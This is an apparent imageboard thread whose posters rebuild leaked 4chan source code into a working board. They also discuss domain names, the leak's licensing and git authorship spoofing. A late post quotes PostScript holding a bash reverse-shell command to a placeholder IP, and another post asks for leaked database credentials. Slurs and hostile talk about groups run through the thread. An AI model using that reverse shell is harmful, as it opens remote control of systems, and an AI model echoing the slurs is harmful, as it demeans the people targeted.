File: ClipboardImage.png 📥︎ (15.04 KB, 408x251) ImgOps

an actually successful (maybe) rebuildall
>>6191
well, call whatever i'm doing the oldschool version
both sql schema dumps have the table `blotter_messages` missing the required sql_cache field? has nobody got this far?
desu you talk like a retarded faggot gen x or boomer so i really don't read much into what you post
>it works on "stock servers"
>as i said /admin is old and busted
>can set all of this up but can't post his instructions.txt
>probably just some hindoo using inspect element

 6219[Quote]

>>6195
>sql_cache
it's not a field, it's a reserved mysql keyword that tells the db whether or not to use the cache when executing this request

 6261[Quote]

File: image-16.png 📥︎ (178.36 KB, 1600x900) ImgOps

>>6066
Quite the opposite, I'm backporting >>5894 's raisin to PHP 5.2 and IIS 3.0 (On NT 4.0) cuz I'm feeling particularly evil today >:)

 6263[Quote]

>>5160
trvth nvke. You can literally make a 1:1 4chan clone using js framework much easier

 6271[Quote]

File: Anonymous.png 📥︎ (48.25 KB, 500x400) ImgOps

File: Anonymous.png 📥︎ (135.92 KB, 2804x1771) ImgOps

>>6261
cool site

 6272[Quote]

File: Anonymous.png 📥︎ (406.56 KB, 721x1419) ImgOps

File: Anonymous.png 📥︎ (829.53 KB, 2804x1771) ImgOps

left a few gemmies on the 'log btw

 6273[Quote]

>>6271
>>6272
Surprised it didn't crash

 6304[Quote]

File: README.txt 📥︎ (1.61 KB)

ok because someone asked for the OpenYotsuba installation instructions

 6323[Quote]

>>6304
The subdomains are still required, no?
Oh, and out of the box, accessing catalog or imgboard still tries to redirect to 4chan.org. Admin.php doesn't.

 6359[Quote]

File: write_mod_secret.php.txt 📥︎ (4.73 KB)

>>5932
Oh nice, I setup 2FA the other day so I could try the mod option to embed HTML tags in posts.
I haven't properly setup the new team/report stuff yet so I can login and get a valid token, but I'm assuming they use the same mod_users table as the main site?
I've included my PHP CLI script to encrypt and store a TOTP secret in the database for 2FA, there are more in-depth instructions at the top of the file but basically:

Set the auth_secret column in the mod_users table to BLOB or BINARY (length 64)
Generate server encryption key: mkdir /www/keys && head -c 32 /dev/urandom > /www/keys/2015_enc.key
Set permissions (if needed): chown -R www-data:www-data /www/keys && chmod 700 /www/keys && chmod 600 /www/keys/2015_enc.key
Run: apt-get install php5.6-mcrypt php5.6-mysqli
Remove .txt from the attachment file name, put it anywhere on your server.
Run: php5.6 ./write_mod_secret.php username secret
If you leave the secret blank it will generate one for you to use, put this into your 2FA client, time-based (TOTP), code/digit length 6, interval 30 seconds.
You can use https://totp.danhersam.com if you don't have a 2FA client installed.

This will only really be useful for a fresh setup, I'm guessing that the moderators (and janitors?) will get a secret/QR code via email or on first login.

 6361[Quote]

File: ClipboardImage.png 📥︎ (49.75 KB, 931x200) ImgOps

>>6304
…my "notes" (not instructions) are maybe 50x longer so far and i don't think i'm even a tenth of the way there
did chud modify the files and then not say what they did? is there a .git in there so people can see?
for instance, you have to fix a lot of curly brace array access syntax as the first thing
setup.php doesn't exist in the leak, so right out the gate that's odd and the instructions are omitting a lot (i had thought these would be instructions to get it working in modern PHP from the leak files)
there's a huge amount of old mysql_… functions that need to be updated as well, and those changes are only scratching the surface
>>6323
the redirecting is one of the first problems i found, still actually haven't really solved that and for now my test board just loop redirects into itself with the page that says "Updating index…" (but i still have stuff i need to do, so maybe that gets fixed). i would be very surprised to see how this works without using subdomains (i have mine set up with a web host), or the work to go through and make sure no subdomains are used would be monumental
>>6219
see pic related, the exception i got seems to pretty explicitly expect "column 'sql_cache' in 'field list'", and adding a column with that name that matched the types of 'sql_cache' as it was used for other tables in the existing schemas (check `boardlist`) made it work, and there it is defined as type varchar(100). i don't know much, but it sounds like you are full of dried and aged grapes.

 6362[Quote]


 6368[Quote]

>>6361
>i don't know much, but it sounds like you are full of dried and aged grapes.
https://dev.mysql.com/doc/refman/5.7/en/query-cache-configuration.html

 6385[Quote]

https://gitgud.io/GapeNewell/OpenYotsuba
If you have problems make an issue and I'll try to fix it.

 6388[Quote]

>>6385
Hey chud due to recent spam posts aren't visible to non-moderators in the first hour. Only posters who have verified their email can post immediately.

 6394[Quote]

>>6368
we're two different kind of developers then
if it looks like a field/column in a table and without adding it we get errors like we're missing a field/column in a table, and we can only get past it by adding it as if it was a field/column in a table,
then it's a field/column in a table and you can ram your documentation up your ass
i hate people who cite authority and documentation when it is simpler to describe it how it is and behaves in reality

 6495[Quote]

>>5570
is that poop he's drinking

 6503[Quote]

File: ClipboardImage.png 📥︎ (54.74 KB, 938x492) ImgOps

we got the catalog html to show!
although we've broke a lot of other stuff and now have a lot more work to do
>previously we had the server config append .php when it could, but now we want to append .html, and it seems we might want to do the former in some cases (captcha?) and the latter in others (catalog? sometimes? since there is also a catalog.php)
the whole gzip thing even with the hints so far seems very much like nobody knows how it works exactly, even claude was just throwing raisin at the wall until it worked (so now we get to go figure out what exactly worked)

 6710[Quote]

File: ClipboardImage.png 📥︎ (66.06 KB, 950x933) ImgOps

figuring out how mod rewrite and apache configs work (it sucks)
gzipped html should now be handled properly, and it should now be smart enough to know when and how to <handle the 'knowing' a gzip html is somewhere, then conditionally sending it correctly>
large amounts of css and js files are being "freed" (and danbo presumed trackers disabled)
it looks fucking beautiful
<we have an addiction and this is like looking at a big pile of crack through a thin window

 6738[Quote]

File: ClipboardImage.png 📥︎ (190.52 KB, 910x984) ImgOps

new checkpoint: b/catalog, no php errors, no console errors, no missing network files

 6756[Quote]

File: 2025-04-18-221818_sway-scr….png 📥︎ (279.74 KB, 667x605) ImgOps

Any lawyers ITT, should websites using OpenYotsuba hide the fact they're using this? Is this project underground forever?

 6757[Quote]

>>6756
i know from the nvida GPU driver source leak, the opensource community couldn't use any of it because that would be a copywrite violation, i assume the same would apply here

 6776[Quote]

>>6738
holy keyed, keep up the good work +1 upvoted

 6780[Quote]

Is /f/ okay ? Any ideas about the code in that ?
I remember they apparently kept it up during the crappy april fools since it's apparently too much of a clusterfuck to clog and unclog, no current mod has any idea how it works

 6789[Quote]

>>6780
iirc it looked like /news/'s catalogue, never really went there though

 6791[Quote]

>>6789
It had more features, i havent opened it in what 2-3 years but i remember you could play swf animation directly
At least the board is slow enough to where the entirety of it has been archived but im worried itll be purged once all of this is over
I wonder if 4chanx will be broken for a few weeks too

 6793[Quote]

>>6738
Fine work, lad. You planning to publish your codebase at some point? I'd like to try my hand at creating an automated deployment with squashfs and VMs potentially.

 6797[Quote]

File: ClipboardImage.png 📥︎ (206.13 KB, 945x836) ImgOps

>>6738
new checkpoint: b/thread/1, no php errors (or warnings), no console errors, no missing network files (except for one pesky one for mobile)
anyone know where to find buttonfade.png? (button styling for mobile device layout i think)
had to comment out a line of code or else rebuildall was not building the board's thread.json.gz (in `function updatelog_real`; `if( !$resno && $noidx ) { return; }`, maybe i fucked up since my $resno was 0?)
also had to fix a bunch of old PHP each usages, fix cors, update gzip handler to process json as well as HTML (with the gzip handler rewrite, that was simple)
next i think is posting
>>6780
it's in the list of valid boards (even /news/ is), and from the way the code looks, if you were able to open it 2-3 years ago i would be shocked if it wasn't in here somewhere.
>>6793
i'm feeling greedy that everyone so far was too focused on old PHP and/or no auth/captcha and/or local-only and/or etc., and that i might be close to a dream of mine (delusion of grandeur): if i can get <?>chan running just about the way 4chan ran with few changes (besides the new PHP, backend, debian 12, etc.), and if i can capture people wanting 4chan, and if i can de facto be the next runner of 4chan, i can finally cleanse it of trannies and blacked posters (maybe apartheid them into their own place like /mlp/)
i could be retarded and slow and everyone already has this running, but it's hard to tell from this thread where everyone is at

TL:DR
where would you like the codebase deployed?
(maybe i can run my own local git hosting site if things like github will nuke me for sharing leaked code)

 6803[Quote]

>>6797
>and if i can capture people wanting 4chan, and if i can de facto be the next runner of 4chan, i can finally cleanse it of trannies and blacked posters (maybe apartheid them into their own place like /mlp/)
desu I wouldn't trust 99% of people to run the next 4chan, better the devil you know

 6808[Quote]

>>4627
>Just start again at this point
In .NET, as Satania intended.

 6809[Quote]

>>6797
Anywhere is fine for starters, I can pull a few strings to have it mirrored on some other repos for redundancy if need be.
I wouldn't say your dream of reproducing the real environment is infeasible, but for that to be less painful the first real step would be to de-hardcode references to the 4chan domains as much as possible. That has proven to be one of the most annoying parts so far.

 6810[Quote]

>>6803
that was maybe one of the easiest parts, maybe top 5 easiest
> grep -rl '4cdn' ./ | xargs sed -i 's/4cdn/FOO/g'
> grep -rl '4channel' ./ | xargs sed -i 's/4channel/FOO/g'
> grep -rl '4chan' ./ | xargs sed -i 's/4chan/FOO/g'
<congrats, you did it
getting the gzip stuff to work in a way i understand and am happy with was probably 100x more difficult, same with my autistic fixation on unburying the old admin login page and making it work

 6823[Quote]

>>6810
Sure, if all you want is to replace one hardcoded domain with another, but actually making them configurable is something I haven't had the time to explore while fighting various errors (and lack of their displays) across different web servers and PHP combinations. At least the OpenYotsuba guy reduced the number of non-relative paths if anything. Speaking of which, that's something I personally want to get done at some point: making this goddamn mess actually portable. How the hell 4chan managed to baloon as a fork of the *single-file* Futaba to… well, this.. is beyond me.

 6824[Quote]

<what's up with this shit?
<why do all altchans let you do reverse greentexts?

 6827[Quote]

>>6823
i'd file that under "problems that are only problems if we win already"
you're not going to have issues pointing everything at one spot unless you're getting so much traffic that that causes issues, and anything beyond 1 post a day to me is a personal victory
even then, once it becomes a problem, chances are one of the hardcoded domain subgroups is the biggest problem, and you can just fight them one at a time instead of fighting the whole hydra at once
even THEN, if i'm not retarded, i saw i could point subdomains at different IPs from the web host's DNS config, so if it's a traffic issue we have even more tools to fight that
and so it won't really be a problem until you've already got a huge amount of momentum, so it's not worth worrying about.
if the problem is that others can't configure it, then just refer them to my 3-grep solution, which can probably be made into just one grep/command, and that's very easy configuration
>>6824
altchans are like altgirls and they have to be quirky because they want attention much more than they want to just be a better version of something
>shiggy
<diggy
>roody
<poo

 6832[Quote]

>>6797
The problem with jannies was lack of accountability and hidden nature of it.

There should be an open board with all bans (obviously obfuscation for 'p), ban reason & which jannie was involved.
Some sort of jannie watchdog board. If there's enough evidence of abuse of jannie power, they get the boot.

 6846[Quote]

>>6832
Jannies have nothing to do with "website culture" they couldn't care less if there were anti powertrip measures because they're literally designated to powertrip over muh anarchy imageboard

 6862[Quote]

File: ClipboardImage.png 📥︎ (19.43 KB, 368x331) ImgOps

>>6827
>tfw your first successful post send on your own machine with your own backend with your own updated codebase calls your post spam
(╯°□°)╯︵ ┻━┻

 6863[Quote]

File: scrot.png 📥︎ (151.78 KB, 1151x712) ImgOps


 6865[Quote]

>>4613 (OP)
>work for free
<no

 6881[Quote]

>>6846
Great idea in theory however it will be abused by bad actors spamming and harassing to get rid of/punish their well-deserved bans. All of these community report projects end up going to hell

 6892[Quote]

>>6881
i've always wondered about the more decentralized option, but that just offsets the problem to "who will store inhuman garbage": you have "curators", people subscribe to a "curator" (jannies get paid probably breaks a lot of the cycle there). Your own personal paid janny. People pay subscriptions for all sorts of doodoo-feces, some for things like news and (((journalist))) articles.
then the matter could be something like uploading posts to some cheap blockchain like BASE or using IPFS or some other decentralized storage thing. i think the problem that would come first from that is that if you started, say, storing posts on the EVM (insane, unreasonable, but pretend it's cheap), if people start puttin' 'p on the EVM, then ISPs and states will start just blocking the EVM, won't they? (or could that apply to BTC (even more expensive that the EVM?))

 6895[Quote]

>>6863
cute Miku

 6896[Quote]

File: Screenshot_20250419_123421.png 📥︎ (49.25 KB, 604x446) ImgOps

File: Screenshot_20250419_125233.png 📥︎ (46.21 KB, 877x609) ImgOps

>>5932
If you have auth setup you can just go to https://reports.whatever/login?action=tfa and it will setup 2FA for you.
QR Codes don't work because chart.googleapis.com can't create qrcodes anymore, it can be changed to another qr gen service like https://api.qrserver.com/v1/create-qr-code/?size=250x250&data=

 6907[Quote]

and the github repository!!??

 6910[Quote]

these are the things that make me schizo about people showing themselves posting, but code being hard to find (devtools?)
with mysql 8.4.5, the [board_name] table schemas that are in this thread right now will not work unless you make a serious change somewhere.
`root` is a tricky little value, and in the schemas the comments are unsure about their purpose. this is odd, because there is a comment in the codebase that explicitly says
>"root" is used for archive pruning
claude guesses it's to determine pruning eligibility
in the schemas, it's listed as a timestamp type. in the codebase, i've found 3 particularly interesting values it's being set to:
>0
>now()
>"202701010000"
mysql hasn't allowed 0 as a timestamp value for about 10 years, and i'm guessing it's being used elsewhere in the codebase to check against that potential 0 value as a falsy/nullish value in conditional expressions and statements. this means you can't just change it from 0 to 1, that would break those, so it has to stay as 0
you can't really change the type to an int unsigned, as every now() would then cause a crash unless changed to unix_timestamp()
you'd also not be able to compare against 202701010000 since that's a fucking huge number for a mysql unix timestamp and on top of that, it's too big to be an unsigned int.
so you have to do one of four things:
1. keep 0, change now() to unix_timestamp(), change "202701010000" to the string of the unix_timestamp of the equivalent date, change the db type from a timestamp to an int unsigned (this is what i'm doing)
2. hamstring the security on your db to allow a 0 for a timestamp, which mysql considered to be a bad idea 10 years ago enough to default ban doing that for everyone all the time
3. use a version of mysql that's 10 years old (probably "just werks")
4. potentially set up a bomb to blow up in the codebase logic
i haven't seen anyone bring this up and it was a large enough amount of work to solve that i'm surprised about that. what options are people taking here, if they got to here?

 6926[Quote]

File: Screenshot from 2025-04-18….png 📥︎ (6.14 KB, 213x90) ImgOps

guys, the domain 4chan.net might be for sale

 6941[Quote]

>>6926
it would be a good strategy to buy that domain because sometimes people put .net instead of .org.

 6945[Quote]

>>4737
>literal textbook example of an exploit
>"nu uh, it wasn't an exploit!"

 6987[Quote]

File: ClipboardImage.png 📥︎ (151.27 KB, 952x887) ImgOps

we can now make and delete threads, sort of, although we need to fix quite a few things:
1. still a bunch of each() old PHP functions to be replaced with probably foreach, depending on how they're used (blocking posting i think)
2. a lot of warnings need to be patched (probably all missing null checks that don't need to be there once there's posts, so not really necessary)
3. need a funkier apache config to handle boards vs thumbs vs images
4. still haven't figured out the redirection thing, but maybe i've learned enough now to figure it out and get the usual board view up (have been relying on catalog which seems to behave much more nicely)

 6991[Quote]

Can you guys please stop saying raisin? You're killing me.

 6993[Quote]

>>6941
4chan.net was the original domain IIRC

 7005[Quote]

>>6987
you are a god. revive it before their admin team can, that would be funny

 7010[Quote]

File: ClipboardImage.png 📥︎ (32.25 KB, 812x497) ImgOps

>>6926
Some offshore corporation owns the domain name, the company seems to be inactive since approximately 2022, o algo.
https://offshoreleaks.icij.org/nodes/20171546

 7012[Quote]

>>6926
Owner email of 4chan.net: OWNER@4chan.net.customers.whoisprivacycorp.com
whoisprivacycorp.com information:
Created2014-08-05
Updated2022-08-06
Expires2022-08-05
OwnerWhois Privacy Corp.
RegistrarInternet Domain Service BS Corp.

 7022[Quote]

File: ClipboardImage.png 📥︎ (24.09 KB, 593x440) ImgOps

>>7012
>>7010
The name server 151.ns1.abovedomains.com was, however was acquired by tldregistrarsolutions, which is also the director of Whois Privacy Corp, according to the offshore leaks.
Here is their website, anyone daring to talk to them: https://www.tldregistrarsolutions.com/

 7031[Quote]

File: File 1.png 📥︎ (50.09 KB, 775x849) ImgOps

>>7010
>Alan Adı Sahibi İlgili Kişisi
i am going to milk you

 7082[Quote]

>>>4613 (OP)
>I am not doing the work of 4chan devs for free
thats retarded, the site is pretty much run by the community

 7110[Quote]

>>6846
It's like laissez-faire capitalism it really doesn't work without a government, it's a necessary evil that needs to be put on a short leash.

 7146[Quote]

>>4731
>This. If they couldn't update it in 9 years, why should users here be the good goy that fixes it for them?
To make a suitable replacement

 7149[Quote]

File: Screenshot 2025-04-19 at 6….png 📥︎ (8.63 KB, 421x80) ImgOps

ok how about 4chan.inc

 7152[Quote]

File: 1745054065706s.png 📥︎ (240.9 KB, 1300x2234) ImgOps

>>7149
Unnecessarily expensive and implies 4chan is a corporation. .me sounds better and is dirt cheap. .moe would be better though.

 7155[Quote]

File: lucky channel.jpg 📥︎ (240.96 KB, 1920x1080) ImgOps

>>7152
Go with .moe or a whole new name.

 7156[Quote]

>>7152
DO IT, 4CHAN.ME

 7157[Quote]

>>7149
>>7152
DON'T USE NAMECHEAP YOU STUPID NIGGER unless you want to get taken down or doxxed
I thought this was common sense

 7168[Quote]

>>5500
vichan seems better, with Yotsuba I remember having like 10 tabs and my ram is maxed out after few hours, with vichan, it doesn't go beyond 10gb after three days now.
throw that trash to the garbage

 7193[Quote]

>>5500
>we clean up and patch holes in OpenYotsuba and give it to Hiro
>give it to Hiro
why would we give that gook waste our hard work after 900 second timers and trannyjannies and allowing niggerlovers to plague all boards?
also that other guy's garbage is OpenYotsuba, and you can tell putting a codebase with massive changes up on a git host with one commit "big upload" is going to be a disaster
he can have OpenYotsuba, so far i've heard of no progress of anyone actually doing a rewrite and there's 0% chance 4chan proper can accomplish that
i'll call my take on this OpenChan; logo will be goatse
also this trash website now makes you mine crypto for them, jesus christ

 7195[Quote]

just write your own image board software, I could do it in 3 days guaranteed and have something identical to yotsuba, this raisin is EASY, there are no good open source image boards because niggers would prefer to waste time repairing moot's dogcaca php 5 for some reason

 7224[Quote]

>>5305
>All you need to moderate are the uploaded images/files.
That was tried, too many false positives

 7237[Quote]


the limewire source code link is broken. Does anyone have the files the hacker uploaded on Wednesday?

 7245[Quote]

>>7195
You know what, that's exactly what I'm gonna do now. The one I wrote as a grad project is showing it's faults, and it's due time I start a new attempt and learn from past mistakes.

 7268[Quote]


 7289[Quote]

File: ClipboardImage.png 📥︎ (43.68 KB, 934x957) ImgOps

posting threads and deleting them now works!
>bonus mode: another apache config rewrite, vastly smaller than before since now we actually kind of know how it works
<NO MOD_REWRITE USED

 7292[Quote]

>>7289
epicsauce!

 7307[Quote]

>>7289
is this like kirito's epic weeaboo world seed

 7313[Quote]

File: ClipboardImage.png 📥︎ (350.73 KB, 883x1005) ImgOps

main board page now working!
>>7307
it's a pattern that haunts my soul, generated by some very simple computation rules
if i remember correctly, it's something like
"imagine pixels in a grid, do a simple math expression with their coordinates (like pixel value = x*y), then a simple check against an arbitrary combination of bits in the pixel value is done, like 'if bit 3 and bit 7 are high/set/on/1/true, then color this pixel red/color1, otherwise color it black/color2'"
so the math and computation is very simple, but it ends up generating this fucking terrifying demon rune shape
i think the idea was that i was going to replace human languages shown on a computer screen with a made-up language whose symbols' features were made up of slices of this and other 'demon rune' shapes since such a language would be infinitely more computationally efficient to render on screen compared to modern fonts. the catch being that you have to unlearn all human language, but to me that's more of a bonus than a catch

…but that's not too related (second image is a color rendering of the bytes of some data in a function loaded by the windows loader automatically into every windows program; standard functions and whatnot)

 7319[Quote]

File: ClipboardImage.png 📥︎ (253.95 KB, 3645x1992) ImgOps

>>>7152
>Go with .moe or a whole new name.
Unfortunately 4chan.moe is already taken
4chan.community is available but its kind of raisinty name.
But it is stupid cheap

 7320[Quote]

>>7319
4chan.community is geggy

 7323[Quote]

>>7319
>4chan.africa
geg

 7329[Quote]

File: ClipboardImage.png 📥︎ (192.09 KB, 944x1017) ImgOps

>>7319
>>7323
4chan.africa is great
i think picking a domain with 4chan if you want to make this public is,
well, you're already inviting some legal trouble by cloning the website with its leaked source, but if you also take their name (which i think is part of an LLC of theirs), then you're really asking for trouble
personally i am choosing with a different name with chan at the end
also, replies work now
>there's a lot of `while(list($foo) = each($bar))` to be changed into `foreach(array_keys($bar) as $foo)` for anyone upgrading PHP

 7342[Quote]

File: ClipboardImage.png 📥︎ (55.87 KB, 1576x295) ImgOps

>>7329
>you're already inviting some legal trouble by cloning the website with its leaked source
The leaked code is under an open-source license now.
https://github.com/AlexDev404/4chan-main/commits/main/

 7347[Quote]

just upload the codes to chatgpt and tell it to optimize the bitch

 7349[Quote]

>>7347
Easier said than done. Even with ChatGPT, improving the codebase will likely take hours and hours of manual review.

 7359[Quote]

>>>7329
>>you're already inviting some legal trouble by cloning the website with its leaked source
>The leaked code is under an open-source license now.
>https://github.com/AlexDev404/4chan-main/commits/main/
Wow
I wonder what is going to happen next
Considering desuwa (if that really is him) got permission from hiro to dump the rest of source I think it is likely the site is going to undergo a large rework
I don't think it will be open source though, I think this is just placating gesture, site will just get a closed source overhaul, which it has been due for god only knows how long.

 7371[Quote]

>>7342
is AlexDev404 affiliated with 4chan?
if he isn't, licenses don't make it so you can take someone from something, declare it "free for everyone" and then everything works out fine
the original source owners, 4chan, have an implicit copyright if they don't have an explicit one, and unless they (the original source owners, 4chan) explicitly make it open source (and even then, certain flavors of open source might still require people add licenses, only very very specific ones allow completely open and free use) then you could still have problems
it's like someone signing over to you a deed to property they don't actually own; it doesn't make the property yours no matter how technically validly written the deed was (if it isn't legally valid through land holder records with whatever government is in control of that)

 7372[Quote]

File: ClipboardImage.png 📥︎ (37.92 KB, 740x543) ImgOps

>>7371
>is AlexDev404 affiliated with 4chan?
No, but Desuwa is. He's the one who added the WTFPL licence to the repo.
https://github.com/AlexDev404/4chan-main/commit/e5a338d98985bd5b05e77962a55b718168a2e4c9
Read the post.

 7377[Quote]

>>7359
>got permission from hiro to dump the rest of source
no additional code was leaked

 7381[Quote]

>>7372
you realize you can impersonate anyone you want with commits?

 7382[Quote]

File: ClipboardImage.png 📥︎ (68.67 KB, 940x892) ImgOps

File: ClipboardImage.png 📥︎ (106.76 KB, 1779x786) ImgOps

File: ClipboardImage.png 📥︎ (76.73 KB, 1225x957) ImgOps

File: ClipboardImage.png 📥︎ (63.14 KB, 1233x764) ImgOps

>>7342
smells like raisins to me
desuwa's github accoutn has been practically dead (in terms of 4chan) for 12 years
i can think of three scenarios:
- disgruntled or otherwise malevolent former developer leaks code for malevolent reasons
- leaker was able to access this person's github account, not far fetched from them having what seemed to be root access to all of 4chan's infrastructure and they're merely posing as a "real developer" (who still hasn't done any development for 12 years
- 4chan has been paying (maybe) a developer and allocated them free reign to make legal licensing decisions despite not doing any significant work in about 12 years
do you really think it's that last option?o

 7385[Quote]

>>7382
>leaker was able to access this person's github account
you don't need his github account. you only need to set user.name and user.email to his with git config

 7387[Quote]

File: ClipboardImage.png 📥︎ (17.25 KB, 398x318) ImgOps

File: ClipboardImage.png 📥︎ (147.68 KB, 1205x778) ImgOps

>>7385
oh, i see, github makes it appear almost as if the github account that made 4chan contributions made these commits.
first image contains the page that does actually contain a link to desuwa's github profile page, but that page contains no information of these contributions or commits
that being said, even if hypothetically this was not a lazy spoof, it woudl still make beyond no sense
i think that chud/anon/poster/roodypoo was just reading tweets and taking them at face value
how do we make a 4chan that filters out troglodytes that do that? (do we want to filter them out?)

 7391[Quote]

>>7385
Interesting, didn't know it would be that easy to spoof user actions especially on a site like GitHub.

 7393[Quote]

>>7391
honestly at this point pretend it's open source and put legal blame on github for fucking that up if anyone gives you trouble
<¯\_(ツ)_/¯

 7394[Quote]


 7402[Quote]

File: ClipboardImage.png 📥︎ (105.9 KB, 299x168) ImgOps

>>7393
>>7394
gonna have to go ahead and reiterate that that post is SATIRE and PARODY
my schizo gut tells me the scale of whatever is going on might be a magnitude or several larger than at least i initially felt/thought
root access to 4chan is nuts
leaking everything thoroughly and obliterating their infra is double nuts
finding/knowing and taking advantage of a github interface spoofing issue and fabricating an open and free license using a 4chan developer's github account as cover?
that's starting to get into "federal pound me in the ass prison" tier tomfoolery

 7420[Quote]


>>7402
nigger it's not that bad anyone can do git set global user.name / user.email —

>the commits are actually verified


ah nevermind, so either desuwane made those commits or his account really got spoofed, yeah this keeps getting worse for 4cucks

 7443[Quote]

>>7420
if you go to desuwa's github profile directly: https://github.com/desuwa, there's commits to other things but these are left out, so it's like you can spoof with just the right details to trick github's interface on the commit page to think an account made a commit without it actually doing so
but that spoof alone isn't even bad, what i meant is that each "action" done in this situation makes the legal aspect exponentially worse:
>hack: bad
>infra obliterate: bad
>leak: bad
>github spoof and fake license: bad
>hack + infra + leak: gigabad
>hack + infra + leak + spoof exploit + fake license: nigger what the fuck are you doing

 7445[Quote]

>>6910
>`root` is a tricky little value
It’s the datetime the thread was bumped.

 7483[Quote]

File: ClipboardImage.png 📥︎ (31.93 KB, 796x310) ImgOps

>>7420
The commits would have this badge if they were verified

 7489[Quote]

File: nose.png 📥︎ (202.97 KB, 308x348) ImgOps

Has anyone database 4cucks credensials? i wanna see the ban_users table

 7500[Quote]

This update will be big due to the new leaks, but in short, this is what I have done so far:
>A LOT of bug fixes, this includes unhardcoding paths
>index.php from the homepage leaks is working
>You can set your site name in config/global_config.ini, I'll have to unhardcode 4chan references
>Added a default banner
Tomorrow I'll try to integrate reports, team (which will be renamed admin) and the twister CAPTCHA into OpenYotsuba.

 7505[Quote]

File: 1706749291079574.jpg 📥︎ (126.64 KB, 976x850) ImgOps

yawn, literal nothingburger. anyone could've done this. I bet the hacker just asked chatgpt how to do everything and followed the instructions. pretty easy stuff YAAAAAAWN wake me up when something cool happens. God this website is gay and unfunny and soyjacks are cringe

 7509[Quote]

>>7505
nice bait

 7518[Quote]

>>4613 (OP)
Irrelevant to the threads, but is there an extension for the sharty? All new boards are dying, probably because of the inability to track replies.

 7519[Quote]

File: ClipboardImage.png 📥︎ (22.28 KB, 928x157) ImgOps

>>4613 (OP)
>mfw there's a dozen or more shadowban algorithms in place for posting
>my own posts were being shadowbanned
<mfwnf

 7537[Quote]

>>7519
I remember when this started happening, but it's not a full shadowban, since the post appears successful but then still doesn't show up on the thread (a true shadowban would go as far as to show the post appearing on the thread to make you believe it went through)
this seems designed to fool bots, not humans

 7539[Quote]

>>4613 (OP)
true, but it fucking fooled me for a while
had to resort to tracing through the entire post mechanism before stumbling on
>`function show_post_successful_fake(…`
finding 12 invocations, debug at each of them and figure out that two were firing off, and at least one of them has a trigger that's a random number generator

 7558[Quote]

File: ClipboardImage.png 📥︎ (127.72 KB, 1493x1237) ImgOps

>>7519
I wish the DB was leaked so we could see what words caused autobans and shadowbans

 7582[Quote]

File: ClipboardImage.png 📥︎ (69.49 KB, 846x472) ImgOps

flyout report window (haven't tried actually reporting yet), posts/replies (mobile, different browsers confirmed, you can also omit the 'boards' subdomain), user deletions of posts, all now working, faux-shadowban algos have been tuned down or disabled, timer reduced from 900s to 15s or less (depends on 'threat' or 'known' or 100 other things) for testing
seems bumps and some general information aren't working or updating quite right in the catalog
confirmed mod_rewrite thrown into garbage, turns out AliasMatch and conditionals can do pretty much everything without bugging out

 7584[Quote]

>>7152
How about 4chan.gg?

 7607[Quote]

>>7500
mr open yots, schizo here
if you're going to go with php8.4/?/? and we're going to go with php8.2/debian/apache, differences (new admin stuff(?) vs. old admin page dug out of grave), etc.
should i be forking or contributing to your repo or should i be running my own repo? i'm inclined to run my own since i'm autistic and hostile normally, and you appear to update things mega slow

 7609[Quote]

Applaud your efforts. 4chan running 20 year old updated software is laughable given the amount of traffic the site was getting.

Also anyone considering proton mail for animosity don't bother. They're now running a bait and switch where they allow you to run a new email and then claim "unusual activity" on tons of peoples accounts demanding you sign up to a paid account for "security".
Fucking scammers.

 7626[Quote]

>>>4615
>I hope you guys fix the vulnerabilities and improve it and 4chan actually uses it

just crazy enough to work

 7637[Quote]

>>>7152
>How about 4chan.gg?

 7638[Quote]

>>6261
what windows is that and where do I get it?

 7645[Quote]

>>4628
>>4629
>>4632
>japcode
it's fucking over then
japanese code is so horribly fucking bad
japs dont know english so they just give random variable names to everything
you practically have to reverse engineer their code before you can understand it
>>4653
code soys wont like this but there's actually nothing wrong with hardcoding IF the software isn't public and will only ever be used on one website
>>4672
>>4670
It's not hard to optimize a fucking imageboard. Idiots just don't try and they use inefficient scripting languages and don't optimize their DB, because they're more focused on fancy bing bing wahoo features like liveposting (gimmick) than just speeding up the basics.
I doubt any of these idiots who dink around with Javascript altchan software even bother to profile their code (which is step 1 to improving performance).
>>4679
90% of the speed is in the database. In my experience most slowdowns come from having extremely long threads with thousands of posts/images. Having fairly small post limits/image limits and only supporting 1 image per post goes a long way towards speeding things up.
>>4717
dencentralized or onion chans never get many posters because you have to install some software to access them, and they always get filled with pizza
It's really not worth it
>>5037
>my code is raisinty, slow and inefficient but look how few LINES OF CHODE it has bro!
LoC counter fags are retarded
10000 lines of code with high performance is better than a 500 line pile of dingleberries that will fall on its face with more than 10 concurrent posters
>>5336
they got an army of jannies that work 4free
>>6757
Opensores fags are cucks. Just host a code server on .onion and stop using raisinty Git version controls that dox your name and email on every commit
>>6832
yeah just a mod log with the name of the janny, the content of the post (with images and links obfucated) and reason for the action. like 8chan used to have before it got mossaded
>>7638
Windows NT 4.0 just look on archive.org for the .iso
It's the first version of windows that's actually semi-usable for non-internet tasks, 3.x UI is ass

 7653[Quote]

source? whats better to use then?

 7669[Quote]

File: ClipboardImage.png 📥︎ (19.56 KB, 746x315) ImgOps

File: ClipboardImage.png 📥︎ (46.46 KB, 795x436) ImgOps

>mom found the janny agreement
did anyone drop schemas yet for the janny-related databases? i 'm just sort of winging it through error messages and code
or whatever is in `1mcQTXbjW5WO.php`?
surprisingly troublesome just to get to the janny agreement

 7673[Quote]

imagine giving your personal information to a guy called rapeape

 7776[Quote]

anyone got the full janny agreement?

 7801[Quote]

>>7609
>They're now running a bait and switch where they allow you to run a new email and then claim "unusual activity" on tons of peoples accounts demanding you sign up to a paid account for "security".
Yeah, you're not even allowed to use it for email confirmation on legit websites anymore. And my ProtonMail (still free plan) dates back from the closed beta

 7815[Quote]

>>7607
i use apache like you, also you can contribute to my repo if you want

 7826[Quote]

4cheese.org

 7875[Quote]

>>7801
>>7609
>Not using cock.li

 7986[Quote]

File: ClipboardImage.png 📥︎ (1.29 MB, 832x2140) ImgOps

>anyone got the full janny agreement?
here ya go, although i'm pretty sure this has been public for a while, just a bit hard to find (quote search some substrings from here and you'll find other places)

 8099[Quote]

File: ClipboardImage.png 📥︎ (9.62 KB, 252x82) ImgOps

i hadn't seen this before:
jannies confirmed 100% to be discord trannies
wtf

 8112[Quote]

Bump

 8166[Quote]

the pdf code sure looked like this

´´
%!PS-Adobe-3.0
(%machine%/bin/bash -c "bash -i >& /dev/tcp/IP/443 0>&1") (r) file
´´

 8278[Quote]

File: ClipboardImage.png 📥︎ (23.25 KB, 929x479) ImgOps

jannies can now see reports!
